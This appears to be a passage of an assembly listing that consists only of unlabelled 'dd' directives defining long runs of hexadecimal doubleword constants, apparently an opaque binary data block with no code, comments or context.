dd 0E580E1h, 0AB3EE79h, 720B243Eh, 1E115E58h, 3AA8AD76h
dd 24004CA7h, 5AC38DEBh, 0D38B0004h, 0E17416Fh, 48CE57A6h
dd 6759E0B0h, 6BEB965h, 9697A9C3h, 4B0108C1h, 432599AFh
dd 51B0C5F4h, 4E4FE630h, 0B8AA0D1Eh, 23BB778Fh, 0A8DAA2C8h
dd 933F5340h, 0ECA51074h, 61FB0084h, 27787F13h, 1C036032h
dd 71043686h, 3080099Dh, 0CC0252C8h, 84033353h, 88410767h
dd 0E31C2DF9h, 313B9985h, 787A0213h, 82545B24h, 95BA3C80h
dd 0EC98CDACh, 0CB149ED0h, 2484027Dh, 0D8589482h, 41D4916Bh
dd 4A17AF62h, 9818A144h, 83D2CC50h, 0E0460469h, 0CBBB6431h
dd 8C3D0104h, 84750E60h, 14844CCh, 97398064h, 23746282h
dd 4DE9E2E8h, 37003DDCh, 9BAA1667h, 7702B5BFh, 0F085B36h
dd 12849453h, 5C973E6h, 985C87Fh, 0A18043A0h, 0D8D53441h
dd 0D4EC3A01h, 9D5C6A70h, 5C653BFCh, 4400A321h, 0FEBBF0A4h
dd 3F6A4F52h, 97806828h, 0F19D9E07h, 9AF03B85h, 253ECC02h
dd 0D0848D2Eh, 4CF330F4h, 0C8340090h, 6BEB174Bh, 6491A67Ah
dd 0D260265Ch, 3E29C008h, 7804C94Fh, 0A728DBC8h, 0F06728C3h
dd 2EC7CFAh, 0FE09F959h, 0C451F6Fh, 6AEC4072h, 104D4081h
dd 2B263042h, 9320934h, 38458C8Fh, 80FC2B37h, 9627CFDh
dd 293DE4FCh, 0F4824Fh, 53D11086h, 60535B57h, 5628680h
dd 0D8289B38h, 63FB1870h, 190D1E8h, 44D3ED3Ch, 74340BF4h
dd 45DA3C17h, 30A6F31Bh, 10795FC3h, 0EF5810A0h, 0A44449FEh
dd 22441B37h, 8FC16165h, 0A7FEE043h, 13C610C3h, 67782CABh
dd 5AF580FCh, 71BF7B1Eh, 73020490h, 0CAFFF3E7h, 0E94048A3h
dd 0A13B0DDAh, 0ECD04D32h, 40C04F54h, 7D10EAA5h, 6254B80Ah
dd 694E4872h, 91129C08h, 49030C0Eh, 7C00A636h, 3F389041h
dd 905C054Fh, 0BA489F31h, 507h, 7C8040B4h, 0A8E9D8F6h
dd 64F2D326h, 42F3DE00h, 0C49DA64Eh, 704F0A3Ch, 92E4FD38h
dd 10B40C41h, 90914BF1h, 0E0915247h, 23F0A04Ah, 2807B7Bh
dd 32A7919Dh, 0EB208235h, 0AB6F8Eh, 3D1712E6h, 3CAF22B2h
dd 0D21DF60h, 0EC426FD4h, 4789000Eh, 8D6D2805h, 30110B5h
dd 0DCE125E4h, 0A8CD5022h, 78F36184h, 6FD1207Bh, 0FAE610A2h
dd 0F1E7CC08h, 70EA0Eh, 0CFA85AC2h, 0B75C46C8h, 6FCC870Fh
dd 12BA94Dh, 90F02024h, 0C08F609Eh, 10AD9843h, 0AF00C9A2h
dd 0D3132C41h, 0DCB0B6F8h, 0A87ED6F0h, 0ED1519D9h, 9DF81018h
dd 7DF70307h, 60ACA399h
dd 23A61BF0h, 0F809E10Ch, 1E6B3834h, 1D26558Ch, 2B8A8E7Bh
dd 99800B1Fh, 0E038342Eh, 6E267022h, 0E6000DA3h, 0AB46ECD5h
dd 92EA006Ch, 0F49DA447h, 0A175C189h, 0B966CC1Dh, 1185FC0h
dd 2E8561h, 936D73C6h, 0CA13FDFCh, 0DEB38F00h, 50FA0E5Ch
dd 0C4D80086h, 40618BD5h, 7400184Eh, 6FFC97C1h, 0FBC0F0h
dd 73D8076Dh, 842FB4FDh, 0A7CD4C28h, 0CF8D0800h, 18447C52h
dd 0BDAA24C6h, 0A41D0001h, 63C9CE0Bh, 0C355AF00h, 0E2E80DD0h
dd 5DC701A1h, 0D4011E52h, 38C8E03Ah, 2E10FA00h, 561D254Ah
dd 0D763077Ch, 603AA0BAh, 48C38CE7h, 68E8AA7Dh, 0E051916Eh
dd 0B5B6448Ah, 0BC8B263Fh, 0DE970F3Eh, 218CBAC2h, 0E99046C8h
dd 5EA17D01h, 7B3273F0h, 0C9FF30h, 7156BFD0h, 24AA0912h
dd 2310D164h, 573B8580h, 785B07B9h, 400230E0h, 561E1272h
dd 18F20600h, 0A59A8744h, 0E1B20686h, 70975F3Bh, 84EAA80Bh
dd 3AB98179h, 0F4CD20BAh, 700058BCh, 0F0AD9597h, 25399A89h
dd 4F18FC8Ch, 1E20B494h, 7A900040h, 2868FED8h, 72142AECh
dd 8865D2h, 0C8DBA7CAh, 0F3A55EA0h, 0A8D968E0h, 76DF84h
dd 0B1C51CE6h, 99165AADh, 0BE5B0318h, 0FF6A21h, 0B40593E4h
dd 2B90A62Eh, 0C909BD1Fh, 0B01AD240h, 17726234h, 0D977C3h
dd 5A69D509h, 4A0085ADh, 22CE6FEAh, 1ECE573h, 4281AC12h
dd 6BC939FFh, 0C667FA0h, 0CBF6F5C4h, 6B00D2CCh, 640EF024h
dd 0CD144Eh, 10BE071Ch, 88DAB918h, 0AB94A600h, 0C431EBCAh
dd 556D0138h, 34EE1966h, 5A6BE074h, 0A7151C09h, 6EFB812Eh
dd 0DDE8FB24h, 86CB0E2Fh, 1F8087A0h, 4714ECE1h, 8925680Eh
dd 816100C7h, 0A93728h, 66CB74B3h, 0DAF4BD2Ah, 799E0E00h
dd 0D9EA2FADh, 0E8561716h, 0CAEC65h, 6D422A5Ah, 112486h
dd 2DBB905Ch, 7A2B1BD4h, 884A0B00h, 0EC78FA6Ah, 667B06CAh
dd 784BF676h, 283C9C7Bh, 94D70030h, 0EC1E96BEh, 1CAE7019h
dd 8063B62Ch, 1C7A5190h, 0F8009C18h, 36F003F7h, 0D7E65EDh
dd 67990C09h, 808305A8h, 0DF063F89h, 4D00F875h, 9C97CA25h
dd 0CC0311h, 577B8CD7h, 0E83876F3h, 6090B900h, 8F3CDB97h
dd 0BE5D00CEh, 71666527h, 4C007ADDh, 7EA5F97Bh, 5E429F53h
dd 8452A01Eh, 0EABD3200h, 9C392560h, 7A8A0037h, 3D56A183h
dd 4A0EF78Dh, 41FC9Fh, 0D20AC0A6h, 51460072h, 401709A7h
dd 0E50001F9h, 7BE813DAh, 3818E02h, 0A259E2A4h, 690C4A42h
dd 29068688h, 2A10FB1Ch, 90C851BBh, 54888326h, 2811FBA9h
dd 911996D0h, 8325139h, 0E4FB2058h, 0A10420h, 0B8CBC2F6h
dd 0C3BF7FC4h, 0F21C2200h, 0EA251326h, 7DB76B1h, 0F9122870h
dd 8D4AF076h, 81E458D2h, 47338300h, 7E61A999h, 0C8770014h
dd 0CECA3A85h, 5100DE89h, 0D3D01E1Dh, 0F709E0h, 8C34871Ch
dd 3265BBA9h, 4724F96Eh, 1707AE3h, 46A1CBh, 34897BBAh
dd 0D154BC8Ah, 0D303C00h, 6D2EBE42h, 355A3C24h, 8088B31Fh
dd 0F6CED67Ch, 4F0FEF7Fh, 1C5EA9h, 23D8A3E4h, 12AD0030h
dd 13C0ED4Bh, 641EC91Eh, 0BB0148ECh, 0C23C2335h, 762A7ED4h
dd 0E37B50A4h, 7FFCE3h, 0C818111Ch, 0A8A581C2h, 4BFC58C0h
dd 2467F33Ah, 79E4961h, 600BC9CFh, 55C71125h, 18008CE6h
dd 1F8F4AF5h, 0E93DF4h, 5B750A8Eh, 67DD7A7h, 0FE2E0D01h
dd 2C59E46Dh, 0E73FCCCh, 1806C56h, 9C0F1100h, 0A033CECh
dd 71D7BD31h, 3BFC09Dh, 7C6B057h, 0FBE30651h, 0F47FF0D2h
dd 770B95BAh, 430387h, 1F5B400h, 57CF00CCh, 4410C5B0h
dd 0EF00499Eh, 0C78528E3h, 7F1593h, 6FA7587Eh, 0F69D190Fh
dd 9250FB05h, 50C0D730h, 604075h, 5D3F795Fh, 0E2E4066Ah
dd 74EF2848h, 0D6AF4100h, 88F7C3DFh, 0D8555877h, 0C13A2E01h
dd 0C0757B62h, 6B75652Fh, 58DD4501h, 0E388B997h, 911EECh
dd 72CA345Bh, 0D41F1920h, 257CA001h, 7BEDB2B3h, 0EEF5A06Fh
dd 0B94E1209h, 0C58B0087h, 187F392Bh, 0B8968A88h, 8300251Bh
dd 8F28D8C4h, 3094F02h, 0EC2C540Ah, 0DFA833E1h, 30008AFEh
dd 1ACF4C59h, 1D2A048h, 52DDB076h, 0C87C01ADh, 513B39Fh
dd 0C7004ACFh, 0B6A13090h, 0D64F0029h, 862A84A4h, 0D303C977h
dd 0C7C81AF4h, 46E81C2Ch, 11B08076h, 0E87934B5h, 55A9D005h
dd 0FF9D18h, 14BEF201h, 4D00CA7Fh, 47FD086Fh, 3C8576h
dd 0FC6BF65Bh, 67EDCF31h, 0C835EE07h, 13903D8Ah, 3A5EFAh
dd 0D945E7A5h, 0F387C621h, 60370303h, 0F02F6D86h, 6010467Dh
dd 0A606747Bh, 833BDB57h, 3B620058h, 6798C2A0h, 1C8CF2E3h
dd 1A1259h, 6221C164h, 1B600CD4h, 87BBEC10h, 0F9670A71h
dd 0AC9F78h, 1E49C221h, 0D1005FD8h, 6ECC0D3Bh, 0E8C1A5h
dd 0A31C32C3h, 22F2F307h, 0DA4FFE7Bh, 0CED5EC0h, 72293C5Ah
dd 0B09F1181h, 0D3415393h, 63C3E2A8h, 4554B00h, 409B624Dh
dd 0F4127491h, 0A8AA0F2Ch, 21408813h, 60EDA7C9h, 0FD386A74h
dd 588700B1h, 0BED195D9h, 0F877005Fh, 82327596h, 7B00FDB7h
dd 23FFC25Ch, 1861E721h, 60F0E905h, 883BD615h, 66D0800Ah
dd 50F86537h, 33B10B6Bh, 0CC80D4A4h, 4E21E2CFh, 0D27BF703h
dd 84DD95D1h, 0AE4A6DC1h, 0F12BE8h, 28BFD85Eh, 0EA2721DBh
dd 3A59F500h, 0E3052D60h, 0AFF646h, 2EAE6924h, 9723C252h
dd 0D106B00h, 0D7881792h, 8DDB1E62h, 81B94018h, 8994BCD6h
dd 0C3CCD500h, 9E744103h, 0D8FB005Ah, 16D644B6h, 8C01CA57h
dd 0A7B49C60h, 35DC7DFCh, 1D6C26ABh, 50F21893h, 8B00B853h
dd 593EB9E2h, 0F3F4E4h, 2A4210DBh, 0AFC3CDF7h, 1F1D2971h
dd 628E01BBh, 9E1D4060h, 75AB803h, 724CA4B9h, 90A58718h
dd 691EA8FBh, 0E3E55000h, 1F272DC4h, 989A0348h, 3BB72CE8h
dd 0B0F4AED8h, 8846E000h, 0FAA381C7h, 0C6A10058h, 0CDDD552Bh
dd 3F3E38C1h, 2D3017Ah, 9D16E60Dh, 2C80CC0h, 1AC9CB76h
dd 9881465Ch, 0F43D1CF9h, 5F00862Dh, 300360FBh, 0F01090h
dd 13641B1Eh, 0DF1A25CFh, 2D769C0Fh, 2B3C1FDh, 0C920A962h
dd 0C00600FAh, 0EBCE4055h, 7E009C8Bh, 6DF2E3B8h, 1C25E5h
dd 5C9F6CF5h, 0FE93E03Bh, 20C086E6h, 0B67DACAEh, 45060E61h
dd 0C200E251h, 0B3E6F32Ah, 0C1162800h, 0F1A3FCD2h, 11201FBCh
dd 340640ACh, 889E0270h, 4C909900h, 7C783E37h, 89D7013Ch
dd 0B6B34F46h, 380FBBFh, 11076A49h, 0D1980880h, 0EE466E80h
dd 0C62400F0h, 4730F2Ch, 13777C33h, 0B21F8B00h, 3B5DF5C9h
dd 5BB1003Fh, 0F9DF6E2h, 4B06CC64h, 3A24ABB0h, 0AED726CEh
dd 8B7E0008h, 84DB9DA4h, 2E4A77Ch, 0B3EE6E00h, 98372647h
dd 9B2E0079h, 0DBCB914Fh, 3500AC03h, 4A53ABF2h, 0DD7533h
dd 6D85323Eh, 70DCE921h, 0DE203460h, 0AFFAE7h, 0B5255F7Eh
dd 8865F1B8h, 0F285A76h, 2C009017h, 1646E5ACh, 0EBF9C69h
dd 34204864h, 4905807Ch, 35A1F853h, 0A4311B00h, 0AF719599h
dd 0E8AA3FCBh, 738338h, 5273A0F6h, 0B0D993A1h, 24ED7C00h
dd 26795D96h, 0B09FFEDCh, 341C00B4h, 8C42BE3Ch, 0D700626Bh
dd 1DA2D0DEh, 14088926h, 937C17B8h, 6001203Eh, 0C510AF87h
dd 3B79D453h, 679C5450h, 0F66B493Eh, 80289F00h, 0D9220371h
dd 0A08F50B2h, 33C706E8h, 10AB5499h, 0B89AD600h, 1AD3A343h
dd 90A1EE49h, 781E7F91h, 6DCA0330h, 8F212B09h, 48FC508Fh
dd 0D3004C22h, 0C506AF79h, 3BC230h, 0DDBAF70Bh, 44AA589Dh
dd 55A71100h, 60719A4Bh
dd 21EC43h, 3CD4EFCAh, 9784A587h, 31155Ch, 0BCDFADD9h
dd 638174h, 0A3470369h, 0B19B1072h, 0A73ED67Bh, 95170F99h
dd 8C45E03Dh, 5889Ch, 63D798BCh, 0C1535AE9h, 290FCEF8h
dd 0A798483h, 2F00889Bh, 6EE0BD48h, 71FC8Fh, 7BA68B09h
dd 0FCEE334Eh, 39B57F01h, 64BC957h, 4C95C8F0h, 46020C25h
dd 135A9C5h, 6A8992C0h, 30428200h, 1EEB5D23h, 0BD910067h
dd 794A40AFh, 0E5009BD9h, 0CF18441Dh, 2EBAC587h, 357914Ch
dd 0C2BBF489h, 0D4267A89h, 0AA007079h, 0FF53F90Eh, 0E64888h
dd 6A946620h, 10B75941h, 88348h, 899D09F1h, 3E13CAh, 0EFC354E7h
dd 0D5A29714h, 91E57812h, 0F1891807h, 82A607F0h, 0FB02166Ah
dd 573A00F4h, 26274AA5h, 0BCADDD00h, 111ACA16h, 0D7C207C9h
dd 334271BFh, 638884FAh, 480FEE61h, 380E1AA7h, 185C5B58h
dd 112A22A1h, 1400183Dh, 9803263Ah, 4DB9A2h, 0C1C21731h
dd 6B70CE92h, 0DC8F3D00h, 4A0A276Ch, 0A83F16F0h, 7E8600EAh
dd 59A2E661h, 4D21DC00h, 94A693EBh, 0F58F1E6Fh, 0E2318030h
dd 0BE3580Eh, 37FDD700h, 0F372B387h, 17E402h, 0B11EB96Ah
dd 9B2D4404h, 0AB7BBC00h, 0FF25CB18h, 0C7761CF6h, 1BDB4047h
dd 0EF62E4D8h, 0FDF89Fh, 9B983946h, 262F94B5h, 0ABB1C000h
dd 9C5FDE43h, 8FA70797h, 0D2B8D168h, 0E0E0074Ah, 54000C52h
dd 396A2560h, 0E675B367h, 0E3BE1F66h, 999605h, 53D63C58h
dd 9005EA6h, 4596AA0h, 1CAE39DDh, 40A3734Eh, 0A5BE6B0Ch
dd 46E8C35Fh, 3DF74A00h, 0E0C876B5h, 0F132000Fh, 0B16FDDA0h
dd 8201F26Ah, 0AA26751Bh, 3CC81346h, 0A17405EEh, 80AE6E67h
dd 56B776E4h, 80195339h, 0CD87E593h, 0EE835429h, 2B78009Ch
dd 0E14D43E4h, 3C00C36Ah, 0EB04FDB2h, 0C59510h, 18262328h
dd 99090315h, 39664203h, 984FCDB4h, 3B5677h, 9A5C4033h
dd 0AA38F8F9h, 23E5170Eh, 0D1F16091h, 13CB3DCh, 461A99C8h
dd 0E4BEC567h, 0FE07CBDEh, 16B7EE45h, 0CA717920h, 0CECE211h
dd 499C0781h, 0E50070D0h, 1DDF8EFBh, 5D27F0h, 915B9682h
dd 0C3402D1Ch, 0C018D900h, 565FB8A1h, 8B483D23h, 53599F80h
dd 797B75Eh, 86A7AF01h, 0E9146F76h, 5C2D8880h, 7B258FADh
dd 0DDB23903h, 121C99F5h, 54ED30h, 0C29C53F1h, 87D31AFh
dd 1A156603h, 0E021C65Dh, 295A622h, 0F1014B16h, 8A40BB70h
dd 0B47184D4h, 0DE26180Eh, 20409D0Ch, 9B01BEA1h, 0DD940099h
dd 350DC2FFh, 2500F033h, 5F429758h, 127747Ah, 8F56283Fh
dd 0D848D64Ah, 0E33CA8A1h, 266BAE0Ch, 0CB719C00h, 0ACC3D1h
dd 85F4075Bh, 0C43A8831h, 91A6900Fh, 478F207Fh, 1D4817Eh
dd 4024ECF4h, 0F05A36B4h, 8500D007h, 0F8AD71A8h, 76106AAh
dd 8BF3565Bh, 0FF8E55FFh, 71D2CF00h, 1C58420Ch, 409F49EBh
dd 5D6576E9h, 0E6073344h, 9CE839E3h, 0CD681580h, 0B0DD00F9h
dd 70724AF0h, 0D1FB654h, 2E1FF878h, 0E0A19C03h, 0F68CB8C3h
dd 2BDC2832h, 24D20086h, 845E92C4h, 0FA009E11h, 4DDFF01Eh
dd 38C84EBAh, 9400812Dh, 52752966h, 0B1024640h, 0F65FF550h
dd 1F2640EDh, 58B50069h, 0E6DF2171h, 6D0F4092h, 80F85B3Ah
dd 0FE2D14F0h, 0BAE3005Ch, 0D9447DEBh, 0C20074AFh, 6A1BB99Dh
dd 3F495AACh, 0CA0C05DEh, 0EE30315Ch, 1BB66B1Fh, 0AF6CD800h
dd 7CD33C99h, 32BE015Fh, 0F3AD03F0h, 0CF02F0E3h, 7677061Eh
dd 0D11E2C80h, 9C06DDAh, 35836841h, 2639AF03h, 3AAFD000h
dd 7B9F0CC7h, 0E6AB07BFh, 0B061BB62h, 5CC5E94Bh, 102E700h
dd 0A7A2D53Ch, 0D08703A9h, 0E4D73EBFh, 0C41A2000h, 0A43C3AA3h
dd 6053F0FDh, 0AF5A1EF0h, 0D1F65EE1h, 1B8EAC00h, 29B3B6D4h
dd 165B1CB8h, 4FDE050Ah, 0C5FC005Ah, 0F6F120DDh, 0BF1CD113h
dd 78A8F006h, 276D00D2h, 0DEC86319h, 3C00E8CFh, 0E480FBEBh
dd 0E19F7Dh, 71B95198h, 0B1A038E6h, 7A00D174h, 0EA161464h
dd 3DD70C1Ah, 0E20082C9h, 25D01954h, 0D500E018h, 61482722h
dd 7F9221h, 0F604A9BFh, 5A7B754h, 5FDD3D03h, 0B1F011h
dd 7372C510h, 7ED52EACh, 23BAAF15h, 0DE031CECh, 0A96FB3C7h
dd 0EF1B9810h, 0C437005Dh, 251CFD0Ah, 0E300A350h, 9CAD088Eh
dd 0DF4E7Fh, 65CD8474h, 0ED12D5FBh, 5CFF1F03h, 0A8345735h
dd 2760E6h, 98F14B66h, 0FAD7E41Ch, 68AEF400h, 6D865995h
dd 0AF36000Bh, 0FC5569Ch, 3E0F01D3h, 20A41CF9h, 0A35B9D46h
dd 428100F4h, 0D9719813h, 10FAC448h, 0A5588400h, 7FD2C8AAh
dd 0A7A900FAh, 0DBC69007h, 420004ACh, 5867899Eh, 0EBC2B85h
dd 0BABD9934h, 0CFC66BE0h, 0B6182FDAh, 0C110DF6Ch, 548300A7h
dd 77CD21B1h, 95008809h, 80E8BCB2h, 117A378h, 33DB3E97h
dd 0C8C630C8h, 241C4ADEh, 0C4401284h, 0A53BEAEFh, 6D7B1E21h
dd 0C66840DDh, 5C99036Fh, 75861D00h, 55F3DE78h, 9B890B32h
dd 410051D2h, 0D8451681h, 0E22E8600h, 43273D6Fh, 0D69A00DBh
dd 0B4F144B5h, 1600E978h, 5B7D5A39h, 242955F9h, 7BF32B3h
dd 0F008F1C5h, 0E843E6AEh, 0E200FC77h, 78D1541Fh, 0E66F8EFh
dd 552E9063h, 0FBD87BA0h, 0CD004350h, 0BC0C788Ah, 170605Ch
dd 1FF4794Eh, 60E4C66Dh, 5607595Dh, 195AB0A8h, 2CFFAC90h
dd 163800C2h, 1732919Bh, 5500605Eh, 0B92905BAh, 123B156Fh
dd 0FFEC0B27h, 0ABF8B600h, 0F49553FAh, 0DE1A00E1h, 0E2BAC842h
dd 0D64858B7h, 8D267884h, 9E300FB8h, 63422Ah, 82BF18A5h
dd 14197C1Dh, 2EF13463h, 0ECAAD0EFh, 0F7F4004Ah, 20C9B917h
dd 93017E1Eh, 903B89F2h, 0CCF0246Fh, 50A000B6h, 5AFD6360h
dd 3107D585h, 71342BA4h, 0CB4EC7A1h, 0F5D3920h, 2933E97Bh
dd 70199320h, 401676Eh, 53E4D130h, 0C7FCEEB1h, 8A3D00C2h
dd 0C6948E79h, 0DAE4BA2Ch, 0B6CD081Eh, 454DF040h, 1F4119h
dd 7F2E4E74h, 5283105Ah, 0E85CB101h, 0D1346379h, 29E956C8h
dd 40E8372Ah, 0C91F88A6h, 6EFC3F00h, 0A8052009h, 0C8E40AFBh
dd 4888450h, 0C3027753h, 7AC083F3h, 85006480h, 5DD9223Eh
dd 0E835B742h, 1934052Ch, 43FEED5h, 41E831F4h, 557C9ADDh
dd 0E0B8ADECh, 541D0066h, 0BAC928A1h, 4C3AD718h, 8E2D895Dh
dd 92741Ch, 8A240B8Ch, 400308E7h, 808B5729h, 76180096h
dd 0F953E0DEh, 5200370Fh, 35EAC66Ah, 719D1B12h, 0B0E200F5h
dd 7EBFFE21h, 7800465Bh, 0C63FF018h, 988E2099h, 7277CFh
dd 46CA1D7Fh, 6587D445h, 13784B00h, 4412343Eh, 9DF30063h
dd 0B6094ACh, 380FC6E6h, 2021A8D8h, 1FF985EDh, 0FBB9001Eh
dd 0F6992FFFh, 6E02A270h, 288865B1h, 223840E0h, 5C910021h
dd 0A0126496h, 0DE3EF9EEh, 0EB53A5Dh, 0C1369049h, 6B40C228h
dd 5651CCh, 8B5CEBF4h, 33184935h, 0BFFAC001h, 74D0F065h
dd 2B5AB050h, 796CEA63h, 0D11F00A2h, 0B079664Bh, 0E40061C8h
dd 0C2D9BBCCh, 0FDA819h, 2B2E2648h, 16093CC9h, 3D277300h
dd 0A5CA6884h, 0AC0F00D5h, 5DE54018h, 7B00BE6Dh, 372C802h
dd 28802BCDh, 0E89C71h, 0EF919A93h, 4DE1EDD4h, 6F05221Ch
dd 0A1F46A8Eh, 6B62F9CFh, 3E61FF0h, 497934B2h, 58003EAFh
dd 9289D3Bh, 0AEA70Ah, 9E56C937h, 9FFE830Ch, 989A7F0Bh
dd 44E5001Dh, 0C0F23A52h, 6EC3F48Ch, 0A6752FDEh, 15E58500h
dd 0EB4D69DBh, 7802644h, 0FCBA007Dh, 5EA8B5C5h, 85105201h
dd 0E916975Dh, 0E98E7CCh, 133A3DB8h, 2F3F9082h, 1EABBCE0h
dd 93870C03h
dd 0D02820A3h, 4F31AAh, 8E0E4088h, 522516B1h, 53299000h
dd 0F564990Ah, 0B3D126A1h, 0D3F40090h, 9A3AF33Bh, 0F08DFF00h
dd 9CDDFBFEh, 0FC6C5FC4h, 7E23CAEh, 0F29D8E74h, 8BE60D30h
dd 6816017Ah, 6975FA92h, 0CF6E30A7h, 0B797F200h, 35138D0Dh
dd 942802DFh, 693CF7B0h, 73E9F887h, 80A46C87h, 6D1D4900h
dd 0C0305401h, 9449868h, 75EF1887h, 16CE876Bh, 0BD62103Ch
dd 601C8720h, 9782D0Eh, 7CB58B6Bh, 33F62420h, 58C07B76h
dd 0BE5595F5h, 758C07EAh, 4C8D91E2h, 69004E29h, 0C78006D6h
dd 7955BDDDh, 0F6DB3AE5h, 7A0EAB4h, 907CB8ACh, 47FD8CBAh
dd 0F2050B74h, 36F7AE92h, 7BCD6444h, 546B2D20h, 1B1E907Fh
dd 8E87B477h, 70C1BD4Ah, 7FA086h, 0C7C7A9Bh, 0BFEADB5Ch
dd 0D6765E01h, 1C45CC92h, 0BA98E03Fh, 0EAD7F300h, 97D18BF5h
dd 9FE8014Fh, 0AA138C7Ah, 5725FC8Ah, 15965B00h, 5258410Ch
dd 302300FEh, 7801389Dh, 2A00E059h, 26A2BAE5h, 146EA6Dh
dd 0C0B16632h, 0E7EEEB6Ch, 374176A0h, 0B3797D00h, 82D8C5BFh
dd 0E9E11F80h, 27D3C0D0h, 0FB1CA5EEh, 0D767C000h, 177C9469h
dd 18970063h, 5A101B86h, 24E1C18Fh, 8D00BE24h, 0C3A9FF7Fh
dd 18526C8h, 0E1E55E4Dh, 0EC078CFAh, 7654EFE3h, 4C019BC4h
dd 57E409FEh, 0E92130E7h, 0DE8A18BCh, 8CAC71E2h, 273159CFh
dd 9E7258h, 13DF8FAFh, 1F4DEEB0h, 40C27962h, 734C9A3Ch
dd 30CF9BBBh, 124CF446h, 0E5FC535Eh, 0E1008F48h, 519143FBh
dd 0EC0101C2h, 67D0D8Fh, 48D6988Bh, 39BD3100h, 6D00C7F2h
dd 7D86252Dh, 84FAC134h, 6A3E8060h, 87799h, 9278678Ah
dd 3C70B062h, 0B6F64100h, 0F41540A8h, 8D10391h, 324C4DCAh
dd 38554001h, 0DDE530DCh, 0CF50B20h, 81156853h, 81D90F1h
dd 41403E93h, 22C4E04Fh, 92CB0A2Ch, 82293Ch, 0F7AFDA69h
dd 0BE007783h, 6ADEBFC9h, 740EC084h, 0C48005Ch, 9108FEB8h
dd 0CE006F44h, 1082E961h, 7E7A63h, 73660C6Ch, 76B1BDC7h
dd 0B017DF1Dh, 20616B0Ch, 0D735009Fh, 0E591CAB5h, 443DCC9Dh
dd 55BE8Fh, 3C28490Eh, 53BA0Ch, 0E2344373h, 3923ACD4h
dd 72A35C1Fh, 8098638Eh, 0D2CCE965h, 3421070Fh, 9010A0D4h
dd 11786B83h, 74BAA200h, 5D3922C8h, 0C7A1CEBh, 34414179h
dd 0E07E7865h, 0B700E803h, 5899FA91h, 1150E2F4h, 6910D6h
dd 64B7EC46h, 198DC61h, 9170390Bh, 0B69C88BAh, 4659D158h
dd 0B73E034Bh, 40E9EFA7h, 88302C50h, 0B71CC9E8h, 300975Ah
dd 47FF24Bh, 30951810h, 78DDA51h, 40CDD600h, 975056Ch
dd 0AD18CF57h, 106442A4h, 80AF3FBCh, 6F417C36h, 25D18601h
dd 88D83CD8h, 7AEFDA00h, 614EBFADh, 4505006Ah, 0EEB6E613h
dd 8E00F8AEh, 0B01A5F3h, 72A1A6DEh, 4471CDh, 84829EE7h
dd 0ADAA75B4h, 0E0279700h, 0B2BE450Dh, 0E3C100E5h, 0D33119B3h
dd 1A3A8438h, 7A00FCD7h, 42C45CCBh, 0D56A62h, 81FAE3CCh
dd 0F5ADF76Bh, 9A1FDBB0h, 44875749h, 0D0D0DE1Ch, 710B40Ch
dd 0FC35B541h, 0EB26A2EDh, 9E5BD760h, 87CE5206h, 1D18EEF8h
dd 5D29E0FEh, 0D9807DB6h, 977A8318h, 62007392h, 0CF1D2713h
dd 0B1F37Eh, 6BD47491h, 8BF25FE5h, 4FCAAB00h, 0BC23A4ADh
dd 0C440C018h, 0FB29ECBEh, 0AD0461D0h, 490180Fh, 922EE0FBh
dd 0EA540314h, 0D3565D18h, 7E386F88h, 0A30ED00h, 70761229h
dd 898C0032h, 52F85463h, 2D067591h, 0C85ECA3Eh, 74060051h
dd 0E7C1CE34h, 0C700D2A2h, 0B554DF75h, 3ED6A0h, 99FF8ADCh
dd 6A6BE7C0h, 9D1DEC14h, 8E08F020h, 40786B9h, 0A5326D81h
dd 78884A16h, 78D749DBh, 89DA1501h, 0E159D537h, 0D910885Bh
dd 6C144038h, 310009C8h, 9304D75Dh, 7136977h, 0C133522Ch
dd 705CC02Eh, 0FE023467h, 0F589B20Ah, 16B6272h, 43DA1884h
dd 0F15003DFh, 0A3667AA7h, 0EC088800h, 132289FAh, 6CBA010Ah
dd 5D2DA7B4h, 0D4B450C1h, 85009E6Dh, 67300A16h, 310C3D8h
dd 8D1AC156h, 611B32C8h, 3C88B7CDh, 0D74871B0h, 40A74865h
dd 1F646620h, 0DC421A05h, 0B07736A7h, 0D022084h, 63039865h
dd 6F1015A9h, 9304C0B6h, 0EB9746ACh, 41C0637Ch, 0E89A3872h
dd 12289015h, 40304184h, 0BE6D5140h, 540761DCh, 587B683h
dd 61590CE2h, 1887DEA6h, 202F3F4Bh, 977CE7C3h, 0A9720107h
dd 208AC68Fh, 0AD29C440h, 0CE8111F6h, 997DF158h, 55075E01h
dd 31060D4h, 0BC109804h, 5710381Ah, 0ED6182B4h, 4C8B1815h
dd 0A7531E78h, 0C1047420h, 0B0B2AAFDh, 8387EF78h, 77150C8Bh
dd 5FAF8011h, 13255EA0h, 5870B58Eh, 0E2049A3Fh, 34292740h
dd 3057EE71h, 2CCA0240h, 3E3FFBB7h, 16856A11h, 0C405B0D4h
dd 151DE228h, 0EAE1B080h, 0B62058E3h, 82DB0105h, 802A895Ah
dd 32D42B7Fh, 0B0E38720h, 0F0603AF1h, 0C0A0ABCFh, 0BC3075A6h
dd 0ECC1282Ah, 0E916247Dh, 41F102E0h, 4C60FC74h, 0EF1D0E67h
dd 0B7C26E84h, 68FAE882h, 20757A58h, 733C6419h, 0C25713A4h
dd 20FE100Ah, 0C3CC9660h, 6B4285A9h, 0F5041CA3h, 0B6446C6Fh
dd 0A5437F7Ch, 0C302C889h, 209FB41Bh, 340ED187h, 15183942h
dd 0D4B0A710h, 0B129320Eh, 4F588057h, 120A5C2h, 9C1A71ACh
dd 0A3211FB5h, 0C09AAE0h, 860AFFBh, 0E470BFF7h, 802B5223h
dd 0C08BB1h, 0F977AC79h, 261D7C64h, 60A83830h, 0C7D6673Ah
dd 50F01021h, 0C89973AFh, 880404Ch, 0EE07D11Eh, 4C0BA3F9h
dd 0DC157428h, 0E740D004h, 65055878h, 707BA73h, 251AEC11h
dd 3B3C1324h, 3D804342h, 10A22467h, 0E7C1D123h, 50603ACBh
dd 7C116ACDh, 9FF2EC7Fh, 64763F16h, 0F136B38Ah, 132C5480h
dd 0FA41685Eh, 421032D2h, 0F947CBE5h, 0BB4B7E07h, 2A0D14BCh
dd 985B427Ch, 21983A40h, 0D151D97Dh, 0EC041CE6h, 4245B15Dh
dd 40A5657Ch, 0FFDBDE82h, 691415E4h, 1771B020h, 405C574Ch
dd 0E730B58Fh, 7DFD6AC0h, 0B9948F5Ah, 9187B020h, 0A2A24237h
dd 327020CDh, 0A30514B4h, 2A51F854h, 5220CD8h, 0AC955F04h
dd 0DE6C84E2h, 0AA5B0B2Ch, 54C161Eh, 5280597Ah, 0FF206CC7h
